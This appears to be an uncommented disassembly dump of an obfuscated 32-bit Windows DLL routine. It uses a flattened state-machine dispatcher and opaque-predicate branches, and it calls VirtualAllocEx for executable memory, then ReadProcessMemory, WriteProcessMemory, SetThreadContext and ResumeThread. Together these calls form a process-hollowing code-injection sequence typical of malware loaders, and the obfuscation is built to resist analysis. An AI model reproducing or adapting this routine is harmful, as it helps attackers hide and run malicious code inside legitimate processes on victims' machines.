sub edx, 0xb01f0055
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x30be0e2e
mov ecx, 0xa9966fe5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov dword [ebp - 0xf4], 0x63db2d7e
jmp 0x100052cf
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0xa4]
sub ecx, 0xdac06bc
add ecx, 8
add ecx, 0xdac06bc
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
add ecx, 0xa39cdcf2
add ecx, 8
sub ecx, 0xa39cdcf2
mov eax, dword [ebp - 0xe4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
add ecx, 0x875dd8db
add ecx, eax
sub ecx, 0x875dd8db
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe4]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0xf4], 0xa62510ed
jmp 0x100052cf
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0xf4], 0xc9f5e2ea
jmp 0x100052cf
mov eax, dword [ebp - 0xe4]
add eax, 4
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xf4], 0x3f54a2a8
jmp 0x100052cf
mov dword [ebp - 0xf4], 0x5a660d9b
jmp 0x100052cf
mov ecx, dword [0x10063538]
mov eax, dword [0x10063534]
mov edx, ecx
sub edx, 0xc4a6393e
sub edx, 1
add edx, 0xc4a6393e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3250a676
mov ecx, 0xceed739f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x100052cf
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100059a0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xf4], 0x9957d159
jmp 0x100052cf
mov dword [ebp - 0xf4], 0x3260ffee
jmp 0x100052cf
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x7c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0xfdf1ed62
jmp 0x100052cf
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + 0x28]
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb4]
mov dword [eax], 0
mov dword [ebp - 0xf4], 0x35e21141
jmp 0x100052cf
mov dword [ebp - 0xf4], 0xe15e77a1
jmp 0x100052cf
mov dword [ebp - 0xf4], 0x9a66b5aa
jmp 0x100052cf
mov dword [ebp - 0xf4], 0x67fba56b
jmp 0x100052cf
mov dword [ebp - 0xf4], 0x183e879c
jmp 0x100052cf
jmp 0x10002aa0